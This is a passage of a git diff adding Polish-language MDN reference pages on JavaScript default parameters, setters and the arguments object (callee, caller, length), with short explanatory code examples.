class="brush: js">function pomnóż(a, b) { + return a * b; +} + +pomnóż(5, 2); // 10 +pomnóż(5); // NaN ! +</pre> + +<p>Aby się przed tym uchronić, należy użyć czegoś takiego, jak w drugiej linijce, gdzie wartość <code>b</code> jest ustawiana na <code>1</code>, jeśli funkcja <code>pomnóż</code> jest wywoływana tylko z jednym argumentem.</p> + +<pre class="brush: js">function pomnóż(a, b) { + b = (typeof b !== 'undefined') ? b : 1; + return a * b; +} + +pomnóż(5, 2); // 10 +pomnóż(5); // 5 +</pre> + +<p>Dzięki parametrom domyślnym w ES2015, tego rodzaju sprawdzanie wartości parametrów w ciele funkcji nie jest już konieczne. Można teraz przypisać <code>1</code> jako domyślną wartość w nagłówku funkcji:</p> + +<pre class="brush: js">function pomnóż(a, b = 1) { + return a * b; +} + +pomnóż(5, 2); // 10 +pomnóż(5); // 5 +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Przekazywanie_undefined_kontra_inne_puste_wartości">Przekazywanie <code>undefined</code> kontra inne <em>puste wartości</em></h3> + +<p>W drugim wywołaniu funkcji w tym przykłądzie, nawet jeśli jako pierwszy argument wprost podany <code>undefined</code> (jednak nie <code>null</code> lub inne <em><a href="/en-US/docs/Glossary/Falsy">puste</a> wartości</em>), wartością argumentu <code>num</code> dalej będzie wartość domyślna.</p> + +<pre class="brush: js">function test(num = 1) { + console.log(typeof num); +} + +test(); // 'number' (num jest ustawiany na 1) +test(undefined); // 'number' (num również jest ustawiany na 1) + +// test z innymi "pustymi" wartościami: +test(''); // 'string' (num jest ustawiany na '') +test(null); // 'object' (num jest ustawiany na null) +</pre> + +<h3 id="Ewaluacja_w_czasie_wykonania">Ewaluacja w czasie wykonania</h3> + +<p>Domyślne argumenty są przypisywane w czasie wykonania, a więc w odróżnieniu od np. Pythona, nowy obiekt jest tworzony przy każdym wywołaniu funkcji.</p> + +<pre class="brush: js">function append(wartość, tablica = []) { + array.push(wartość); + return tablica; +} + +append(1); //[1] +append(2); //[2], nie [1, 2] +</pre> + +<p>Dotyczy to również funkcji i zmiennych:</p> + +<pre class="brush: js">function callSomething(thing = something()) { + return thing; +} + +let numberOfTimesCalled = 0; +function something() { + numberOfTimesCalled += 1; + return numberOfTimesCalled; +} + +callSomething(); // 1 +callSomething(); // 2</pre> + +<h3 id="Domyślne_parametry_są_dostępne_dla_późniejszych_domyślnych_parametrów">Domyślne parametry są dostępne dla późniejszych domyślnych parametrów</h3> + +<p>Parametry zdefiniowane wcześniej (bardziej na lewo na liście parametrów), są dostępne dla domyślnych parametrów definiowanych później:</p> + +<pre class="brush: js">function pozdrów(imię, pozdrowienie, wiadomość = pozdrowienie + ' ' + imię) { + return [imię, pozdrowienie, wiadomość]; +} + +pozdrów('Dawid', 'Cześć'); // ["Dawid", "Cześć", "Cześć Dawid"] +pozdrów('Dawid', 'Cześć', 'Wszystkiego najlepszego!'); // ["Dawid", "Cześć", "Wszystkiego najlepszego!"] +</pre> + +<p>Ta funkcjonalność może być przybliżona w ten sposób, pokazujący, jak wiele przypadków brzegowych może być obsłużonych:</p> + +<pre class="brush: js">function go() { + return ':P'; +} + +function withDefaults(a, b = 5, c = b, d = go(), e = this, + f = arguments, g = this.value) { + return [a, b, c, d, e, f, g]; +} + +function withoutDefaults(a, b, c, d, e, f, g) { + switch (arguments.length) { + case 0: + a; + case 1: + b = 5; + case 2: + c = b; + case 3: + d = go(); + case 4: + e = this; + case 5: + f = arguments; + case 6: + g = this.value; + default: + } + return [a, b, c, d, e, f, g]; +} + +withDefaults.call({value: '=^_^='}); +// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="] + +withoutDefaults.call({value: '=^_^='}); +// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="] +</pre> + +<h3 id="Funkcje_definiowane_w_ciele_funkcji">Funkcje definiowane w ciele funkcji</h3> + +<p>Wprowadzone w Gecko 33 {{geckoRelease(33)}}. Funkcje deklarowane w ciele funkcji nie mogą być używane jako wartości domyślne w tej samej funkcji. Przy takiej próbie, wyrzucany jest jest {{jsxref("ReferenceError")}}. Parametr domyślny zawsze wykonywany jest jako pierwszy, a więc deklaracje w ciele funkcji są ewaluowane później.</p> + +<pre class="brush: js">// Nie działa! Wyrzuca ReferenceError. +function f(a = go()) { + function go() { return ':P'; } +} +</pre> + +<h3 id="Parametry_bez_wartości_domyślnych_po_parametrach_domyślnych">Parametry bez wartości domyślnych po parametrach domyślnych</h3> + +<p>Przed Gecko 26 {{geckoRelease(26)}}, poniższy kod zwracał {{jsxref("SyntaxError")}}. Zostało to naprawione w {{bug(777060)}}. Wartości parametrów dalej są ustawiane w kolejności od lewej do prawej, nadpisując domyślne parametry, nawet jeśli występują potem parametry bez wartości domyślnych.</p> + +<pre class="brush: js">function f(x = 1, y) { + return [x, y]; +} + +f(); // [1, undefined] +f(2); // [2, undefined] +</pre> + +<h3 id="Parametr_destrukturyzowany_z_przypisaniem_domyślnej_wartości">Parametr destrukturyzowany z przypisaniem domyślnej wartości</h3> + +<p>Możesz też użyć przypisania domyślnej wartości z notacją <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">parametru destruktyryzowanego</a>:</p> + +<pre class="brush: js">function f([x, y] = [1, 2], {z: z} = {z: 3}) { + return x + y + z; +} + +f(); // 6</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-function-definitions', 'Function Definitions')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> + + +<p>{{Compat("javascript.functions.default_parameters")}}</p> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values" rel="external" title="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values">Original proposal at ecmascript.org</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/functions/set/index.html b/files/pl/web/javascript/reference/functions/set/index.html new file mode 100644 index 0000000000..d3eb6ad31d --- /dev/null +++ b/files/pl/web/javascript/reference/functions/set/index.html @@ -0,0 +1,146 @@ +--- +title: setter +slug: Web/JavaScript/Reference/Functions/set +translation_of: Web/JavaScript/Reference/Functions/set +--- +<div>{{jsSidebar("Functions")}}</div> + +<p>Składnia <strong><code>set</code></strong> wiąże właściwość obiektu z funkcją, która zostanie wywołana przy próbie przypisania wartości danej właściwości.</p> + +<div>{{EmbedInteractiveExample("pages/js/functions-setter.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">{set <em>prop</em>(<em>val</em>) { . . . }} +{set [expression](<em>val</em>) { . . . }}</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>prop</code></dt> + <dd>Nazwa właściwości wiązanej z określoną funkcją.</dd> +</dl> + +<dl> + <dt><code>val</code></dt> + <dd>Zmienna przechowująca wartość przekazaną do przypisania do właściwości <code>prop.</code></dd> + <dt>expression</dt> + <dd>Począwszy od ECMAScript 2015, można również użyć wyrażeń w celu połaczenia funkcji z nazwą właściwości, która jest obliczana.</dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>Setter może być użyty do wywołania określonej funkcji przy każdej próbie przypisania wartości do danej właściwości. Settery są najczęściej używane razem z getterami żeby utworzyć rodzaj pseudo-właściwości. Nie ma możliwości jednoczesnego używania settera oraz faktycznej wartości przypisanej do danej właściwości.</p> + +<p>Uwagi do składni <code>set</code>:</p> + +<div> +<ul> + <li>Można utworzyć identyfikator typu number lub string;</li> + <li>Setter musi mieć jeden paramter (sprawdź szczegóły <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Niekompatybilna zmiana <abbr title="ECMAScript 5th edition">ES5</abbr>: gettery i settery muszą mieć dokładnie zero lub one argument</a>);</li> + <li>Setter nie może być zdefiniowany kilkukrotnie dla danej właściwości. Jednoczesne użycie settera i faktycznej wartości przypisanej do właściwości jest zabronione<br> + ( <code>{ set x(v) { }, set x(v) { } }</code> oraz <code>{ x: ..., set x(v) { } }</code> są zabronione)</li> +</ul> +</div> + +<p>Setter może być usunięty przy użyciu operatora <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Definicja_settera_w_nowym_obiekcie_podczas_inicjalizacji">Definicja settera w nowym obiekcie podczas inicjalizacji</h3> + +<p>Poniższa składnia definiuje pseudo-właściwość <code>current</code> obiektu <font face="consolas, Liberation Mono, courier, monospace">language</font>, która podczas przypisania wartości aktualizuje tablicę <code>log</code> o tą wartość:</p> + +<pre class="brush: js">var language = { + set current(name) { + this.log.push(name); + }, + log: [] +} + +language.current = 'EN'; +console.log(language.log); // ['EN'] + +language.current = 'FA'; +console.log(language.log); // ['EN', 'FA'] +</pre> + +<p>Zwróć uwagę, że właściwość <code>current</code> nie jest zdefiniowana i próby odczytu zwrócą <code>undefined</code>.</p> + +<h3 id="Usuwanie_settera_przy_użyciu_operatora_delete">Usuwanie settera przy użyciu operatora <code>delete</code></h3> + +<p>Setter może zostać usunięty przy użyciu <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>:</p> + +<pre class="brush: js">delete o.current; +</pre> + +<h3 id="Definicja_settera_dla_istniejącego_obiektu_przy_użyciu_defineProperty">Definicja settera dla istniejącego obiektu przy użyciu <code>defineProperty</code></h3> + +<p>Aby zdefiniować setter dla istniejącego obiektu po jego uprzednim utworzeniu użyj {{jsxref("Object.defineProperty()")}}.</p> + +<pre class="brush: js">var o = {a: 0}; + +Object.defineProperty(o, 'b', { set: function(x) { this.a = x / 2; } }); + +o.b = 10; // Uruchamia setter, który przypisuje 10 / 2 (5) do właściwości 'a' +console.log(o.a) // 5</pre> + +<h3 id="Używanie_wyrażenia_do_obliczenia_nazwy_settera">Używanie wyrażenia do obliczenia nazwy settera</h3> + +<pre class="brush: js">var expr = 'foo'; + +var obj = { + baz: 'bar', + set [expr](v) { this.baz = v; } +}; + +console.log(obj.baz); // "bar" +obj.foo = 'baz'; // uruchom setter +console.log(obj.baz); // "baz" +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Added computed property names.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.functions.set")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a></li> + <li>{{jsxref("Operators/delete", "delete")}}</li> + <li>{{jsxref("Object.defineProperty()")}}</li> + <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li> + <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li> +</ul> diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html new file mode 100644 index 0000000000..50b76e1f63 --- /dev/null +++ b/files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html @@ -0,0 +1,60 @@ +--- +title: callee +slug: Web/JavaScript/Referencje/Funkcje/arguments/callee +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Functions/arguments/callee +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Określa aktualnie wykonywaną funkcję. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Własność obiektów <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments">arguments</a> i <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/arguments">Function.arguments</a> (Wycofywany)</td> +</tr> +<tr> +<td>Zaimplementowano w:</td> +<td>JavaScript 1.2 +<p>JavaScript 1.4: <code>callee</code> wycofywany jako własność <code>Function.arguments</code>, zachowany jako własność zmiennej lokalnej <code>arguments</code> funkcji. +</p> +</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262</td> +</tr> +</tbody></table> +<h3 id="Opis" name="Opis"> Opis </h3> +<p><code>callee</code> jest własnością zmiennej lokalnej <code>arguments</code> dostępnej wewnątrz wszystkich obiektów funkcji; <code>callee</code> jako własność <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/arguments">Function.arguments</a></code> nie jest już używana (również sam obiekt <code>Function.arguments</code> jest wycofywany). +</p><p><code>arguments.callee</code> pozwala anonimowym funkcjom odwoływać się do siebie samych, co jest potrzebne w przypadku rekursywnych anonimowych funkcji. +</p><p>Słowo kluczowe <code>this</code> nie odwołuje się do aktualnie wykonywanej funkcji. Użyj własności <code>callee</code>, aby odwołać się do funkcji z poziomu jej ciała. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_arguments.callee_w_anonimowych_funkcjach_rekursywnych" name="Przyk.C5.82ad:_Zastosowanie_arguments.callee_w_anonimowych_funkcjach_rekursywnych"> Przykład: Zastosowanie <code>arguments.callee</code> w anonimowych funkcjach rekursywnych </h4> +<p>Funkcja rekursywna musi mieć możliwość odwołania się do siebie samej. Zazwyczaj funkcja odwołuje się do samej siebie wykorzystując swoją nazwę. Jednakże anonimowa funkcja nie posiada nazwy i jeśli w łańcuchu zasięgu nie istnieje zmienna odwołująca się do tej funkcji, tj. funkcja nie jest przypisana do żadnej zmiennej, to funkcja ta nie ma możliwości odwołania się do siebie samej (anonimowe funkcje można tworzyć przy użyciu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function">wyrażenia function</a> lub <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">konstruktora <code>Function</code></a>). W tym miejscu wkracza <code>arguments.callee</code>. +</p><p>Poniższy przykład definiuje funkcję, która z kolei definiuje i zwraca funkcję obliczającą silnię. +</p> +<pre class="eval">function makeFactorialFunc() { + alert('tworzenie funkcji obliczającej silnię!'); + return function(x) { + if (x <= 1) + return 1; + return x * arguments.callee(x - 1); + }; +} + +var result = makeFactorialFunc()(5); // zwraca 120 (5 * 4 * 3 * 2 * 1) +</pre> +<p><span class="comment">this example isn't very practical, but then again, there are few practical cases where arguments.callee is necessary, and most of the those cases involve closures</span> +</p><p><br> +</p><p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/callee", "es": "es/Referencia_de_JavaScript_1.5/Funciones/arguments/callee", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/callee", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/callee" } ) }} diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/caller/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/caller/index.html new file mode 100644 index 0000000000..1eb9d8279b --- /dev/null +++ b/files/pl/web/javascript/referencje/funkcje/arguments/caller/index.html @@ -0,0 +1,48 @@ +--- +title: caller +slug: Web/JavaScript/Referencje/Funkcje/arguments/caller +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/JavaScript/arguments.caller +--- +<p> +{{ Obsolete_header() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Określa funkcję, która wywołała aktualnie wykonywaną funkcję. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Własność funkcji: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments">arguments</a></td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.1, NES 2.0 +<p>JavaScript 1.3: Wycofywana. +<span class="comment">JavaScript ??: Removed</span> +</p> +</td> +</tr> +</tbody></table> +<h3 id="Opis" name="Opis"> Opis </h3> +<p><b><code>arguments.caller</code> nie może być już stosowana.</b> Zamiast tego należy użyć niestandardowej własności <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/caller">caller</a></code> obiektu funkcji. Szczegóły można znaleźć w jej opisie. +</p><p>Własność <code>arguments.caller</code> jest dostępna tylko wewnątrz ciała funkcji. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<p>Poniższy kod sprawdza wartość <code>arguments.caller</code> w funkcji. +</p> +<pre class="eval">function myFunc() { + if (arguments.caller == null) { + return ("Funkcja została wywołana z góry!"); + } else + return ("Funkcję wywołano poprzez " + arguments.caller); +} +</pre> +<p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/caller", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/caller", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/caller" } ) }} diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/index.html new file mode 100644 index 0000000000..8a48b5b323 --- /dev/null +++ b/files/pl/web/javascript/referencje/funkcje/arguments/index.html @@ -0,0 +1,129 @@ +--- +title: arguments +slug: Web/JavaScript/Referencje/Funkcje/arguments +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Functions/arguments +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Tablicopodobny obiekt odpowiadający argumentom przekazanym do funkcji. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2"> +Zmienna lokalna we wszystkich funkcjach oraz wycofywana własność obiektu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.1, NES 2.0 +<p>JavaScript 1.2: dodano własność <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/callee">arguments.callee</a></code>. +</p><p>JavaScript 1.3: wycofywana własność <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/caller">arguments.caller</a></code>; usunięto obsługę nazw argumentów oraz zmiennych lokalnych jako własności obiektu <code>arguments</code>. +</p><p>JavaScript 1.4: wycofywane <code>arguments</code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/callee">arguments.callee</a></code> oraz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">arguments.length</a></code> jako własności <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code>; zachowanie <code>arguments</code> jako lokalnej zmiennej funkcji oraz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/callee">arguments.callee</a></code> oraz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">arguments.length</a></code> jako własności tej zmiennej. +</p> +</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262</td> +</tr> +</tbody></table> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Obiekt <code>arguments</code> jest zmienną lokalną dostępną wewnątrz każdej funkcji; <code>arguments</code> jako własność <code>Function</code> nie może być już używana. +</p><p>Do argumentów wewnątrz funkcji możesz odwołać się używając obiektu <code>arguments</code>. Obiekt ten zawiera pozycję dla każdego argumentu przekazanego funkcji, przy czym indeks pierwszego z nich ma wartość 0. Na przykład, jeśli do funkcji przekazane są trzy argumenty, można się do nich odwołać w następujący sposób: +</p> +<pre class="eval">arguments[0] +arguments[1] +arguments[2] +</pre> +<p>Argumentom mogą być również przypisywane wartości: +</p> +<pre class="eval">arguments[1] = 'nowa wartosc'; +</pre> +<div class="note"><b>Uwaga:</b> silnik JavaScript <a href="pl/SpiderMonkey">SpiderMonkey</a> posiada <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=292215">bug</a>, w którym nie można do <code>arguments{{ mediawiki.external('n') }}</code> przypisać wartości, jeśli <code>n</code> jest większe niż liczba formalnych lub rzeczywistych parametrów. +Błąd ten został usunięty w silniku JavaScript 1.6.</div> +<p>Obiekt <code>arguments</code> nie jest tablicą. Jest do niej podobny, lecz nie posiada żadnej z własności tablicy poza <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">length</a></code>. Przykładowo nie posiada on metody <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/pop">pop</a></code>. Może być on jednak skonwertowany do prawdziwej tablicy: +</p> +<pre class="eval"> var args = Array.prototype.slice.call(arguments); +</pre> +<p>Obiekt <code>arguments</code> dostępny jest wyłącznie wewnątrz ciała funkcji. Próba dostępu do obiektu <code>arguments</code> spoza części deklaracyjnej funkcji zakończy się błędem. +</p><p>Możesz użyć obiektu <code>arguments</code>, jeśli funkcja wywołana jest z większą liczbą argumentów niż zostało to zadeklarowane. Jest to użyteczne dla funkcji, które wywoływać można ze zmienną liczbą argumentów. +Aby określić liczbę argumentów przekazywanych do funkcji można użyć własności +<code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">arguments.length</a></code>, a następnie skorzystać z każdego z argumentów używając obiektu <code>arguments</code> (aby określić liczbę argumentów zadeklarowanych podczas definiowania funkcji, skorzystać można z własności <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/length">Function.length</a></code>). +</p> +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3> +<dl><dt> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/callee">arguments.callee</a></code></dt><dd> Określa ciało funkcji aktualnie wykonywanej funkcji. +</dd></dl> +<dl><dt> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/caller">arguments.caller</a></code> {{ Deprecated_inline() }}</dt><dd> Określa nazwę funkcji, która wywołała aktualnie wykonywaną funkcję. +</dd></dl> +<dl><dt> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments/length">arguments.length</a></code></dt><dd> Określa liczbę argumentów przekazywanych do funkcji. +</dd></dl> +<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna"> Zgodność wsteczna </h3> +<h4 id="JavaScript_1.3_i_wcze.C5.9Bniejsze_wersje" name="JavaScript_1.3_i_wcze.C5.9Bniejsze_wersje"> JavaScript 1.3 i wcześniejsze wersje </h4> +<p>Oprócz dostępności jako zmienna lokalna, obiekt <code>arguments</code> jest również własnością obiektu <code>Function</code> i może być poprzedzony nazwą funkcji. Na przykład, jeżeli do funkcji <code>myFunc</code> są przekazywane trzy argumenty o nazwie <code>arg1</code>, <code>arg2</code>, i <code>arg3</code>, można odwołać się do tych argumentów następująco: +</p> +<pre class="eval">myFunc.arguments[0] +myFunc.arguments[1] +myFunc.arguments[2] +</pre> +<h4 id="JavaScript_1.1_i_1.2" name="JavaScript_1.1_i_1.2"> JavaScript 1.1 i 1.2 </h4> +<p>Następujące cechy dostępne w JavaScripcie 1.1 i JavaScripcie 1.2 zostały usunięte: +</p> +<ul><li> Każda zmienna lokalna funkcji jest własnością obiektu <code>arguments</code>. Na przykład, jeśli funkcja <code>myFunc</code> posiada zmienną lokalną nazwaną <code>myLocalVar</code>, możesz odwołać się do zmiennej jako <code>arguments.myLocalVar</code>. +</li></ul> +<ul><li> Każdy argument formalny funkcji jest własnością obiektu <code>arguments</code>. Na przykład, jeżeli funkcja <code>myFunc</code> posiada dwa argumenty o nazwie <code>arg1</code> i <code>arg2</code>, możesz odwołać się do nich jako <code>arguments.arg1</code> i <code>arguments.arg2</code> (możesz także odwołać się do tych argumentów poprzez <code>arguments{{ mediawiki.external(0) }}</code> i <code>arguments{{ mediawiki.external(1) }}</code>). +</li></ul> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Definiowanie_funkcji_.C5.82.C4.85cz.C4.85cej_.C5.82a.C5.84cuchy_znak.C3.B3w" name="Przyk.C5.82ad:_Definiowanie_funkcji_.C5.82.C4.85cz.C4.85cej_.C5.82a.C5.84cuchy_znak.C3.B3w"> Przykład: Definiowanie funkcji łączącej łańcuchy znaków </h4> +<p>Ten przykład definiuje funkcję łączącą kilka łańcuchów znaków. Jedynym formalnym argumentem tej funkcji jest łańcuch znaków, który określa znaki oddzielające poszczególne łączone elementy. Funkcja jest zdefiniowana następująco: +</p> +<pre class="eval">function myConcat(separator) { + result = ""; // inicjalizacja listy + // iteracja pomiędzy argumentami + for (var i = 1; i < arguments.length; i++) { + result += arguments[i] + separator; + } + return result; +} +</pre> +<p>Możesz przesłać dowolną liczbę argumentów do tej funkcji, tworząc na ich bazie listę. +</p> +<pre class="eval">// zwraca "czerwony, pomaranczowy, niebieski, " +myConcat(", ", "czerwony", "pomaranczowy", "niebieski"); + +// zwraca "slon; zyrafa; lew; gepard; " +myConcat("; ", "slon", "zyrafa", "lew", "gepard"); + +// zwraca "szalwia. bazylia. oregano. pieprz. pietruszka. " +myConcat(". ", "szalwia", "bazylia", "oregano", "pieprz", "pietruszka"); +</pre> +<h4 id="Przyk.C5.82ad:_Definiowanie_funkcji.2C_kt.C3.B3ra_tworzy_list.C4.99_HTML" name="Przyk.C5.82ad:_Definiowanie_funkcji.2C_kt.C3.B3ra_tworzy_list.C4.99_HTML"> Przykład: Definiowanie funkcji, która tworzy listę HTML </h4> +<p>Ten przykład definiuje funkcję, która tworzy łańcuch znaków reprezentujący kod HTML listy. Jedynym argumentem formalnym tej funkcji jest ciąg znaków, który przyjmuje wartość "<code>u</code>" dla listy nieuporządkowanej, lub "<code>o</code>" w przypadku listy uporządkowanej. Funkcja ta jest zdefiniowana następująco: +</p> +<pre>function list(type) { + var result = "<" + type + "l>"; + + // iteracja pomiędzy argumentami + for (var i = 1; i < arguments.length; i++) + result += "<li>" + arguments[i] + "</li>"; + + result += "</" + type + "l>"; // koniec listy + + return result; +} +</pre> +<p>Możesz przekazać funkcji dowolną liczbę argumentów, a ona doda każdy z nich jako kolejną pozycję na liście o wskazanym typie. Przykładowo następujące wywołanie funkcji: +</p> +<pre>var listHTML = list("u", "Raz", "Dwa", "Trzy"); +// listHTML zawiera łańcuch "<ul><li>Raz</li><li>Dwa</li><li>Trzy</li></ul>" +</pre> +<p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments", "es": "es/Referencia_de_JavaScript_1.5/Funciones/arguments", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments" } ) }} diff --git a/files/pl/web/javascript/referencje/funkcje/arguments/length/index.html b/files/pl/web/javascript/referencje/funkcje/arguments/length/index.html new file mode 100644 index 0000000000..79d54a4f50 --- /dev/null +++ b/files/pl/web/javascript/referencje/funkcje/arguments/length/index.html @@ -0,0 +1,59 @@ +--- +title: length +slug: Web/JavaScript/Referencje/Funkcje/arguments/length +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Functions/arguments/length +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Określa liczbę argumentów przekazywanych do funkcji. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Własność obiektów <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments">arguments</a> i <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/arguments">Function.arguments</a> (wycofywana)</td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.1 +<p>JavaScript 1.4: Przenaczono do wycofania <code>length</code> jako własność <code>Function.arguments</code>, zachowano ją natomiast jako własność zmiennej lokalnej <code>arguments</code> 